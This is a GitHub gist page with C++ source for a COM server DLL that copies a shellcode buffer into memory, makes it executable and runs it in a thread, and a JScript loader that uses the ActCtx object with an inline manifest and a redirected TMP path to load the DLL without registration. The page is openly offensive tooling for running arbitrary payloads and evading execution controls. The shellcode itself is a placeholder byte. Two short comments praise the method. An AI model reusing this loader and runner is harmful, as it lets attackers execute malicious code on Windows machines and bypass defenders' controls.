Skip to content

Instantly share code, notes, and snippets.

@leoloobeek
Last active February 15, 2023 23:11
  • Star 0 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save leoloobeek/86ffb76511e3a2e98c5d922501b70b3e to your computer and use it in GitHub Desktop.
Simple example of a COM server to run some shellcode
// build and place in directory specified in the script.js file
// need to export DllCanUnloadNow, DllRegisterServer, DllUnregisterServer, DllGetClassObject
#include <Windows.h>
#include <comutil.h> // #include for _bstr_t
#include <string>
#include "Data.h"
DWORD MyThread();
UINT g_uThreadFinished;
extern UINT g_uThreadFinished;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
g_uThreadFinished = 0;
}
return TRUE;
}
STDAPI DllCanUnloadNow(void)
{
// Ensure our thread can finish before we're unloaded
do
{
Sleep(1);
} while (g_uThreadFinished == 0);
return S_OK;
}
STDAPI DllRegisterServer(void)
{
return S_OK;
}
STDAPI DllUnregisterServer(void)
{
return S_OK;
}
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MyThread, NULL, 0, NULL);
return CLASS_E_CLASSNOTAVAILABLE;
}
// shellcode below
unsigned char data[] = { 0x00 };
int datalen = 1;
DWORD MyThread()
{
DWORD old;
SIZE_T shellcodeSize = (SIZE_T)datalen;
PVOID shellcode = LocalAlloc(LPTR, shellcodeSize);
CopyMemory(shellcode, data, shellcodeSize);
if (!VirtualProtect(shellcode, shellcodeSize, PAGE_EXECUTE_READWRITE, &old))
return FALSE;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
g_uThreadFinished = 1;
return 0;
}
var manifestXML = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="MyCOMObject" version="2.2.0.0"/> <file name="File.dll"> <comClass description="MyCOMObject Class" clsid="{67E11FF1-C068-4C48-A1F5-69A882E0E99A}" threadingModel="Both" progid="MyCOMObject"/></file></assembly>'
var s = new ActiveXObject('WScript.Shell')
var path = s.ExpandEnvironmentStrings("%USERPROFILE%") + "\\"
// this will look for our COM DLL in the path noted above, the file name is indicated in the manifest
s.Environment('Process')('TMP') = path;
var actCtx = new ActiveXObject("Microsoft.Windows.ActCtx");
actCtx.ManifestText = manifestXML;
try {
var dwx = actCtx.CreateObject("MyCOMObject");
} catch (e) { }
Copy link

ghost commented Feb 17, 2022

This is excellent, if you set TMP == path you control say C:\tools ACTCTX will search for the DLL there. :)
Great work on this, still relevant.

@leoloobeek
Copy link
Author

Appreciate it! I love the ActCtx object :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment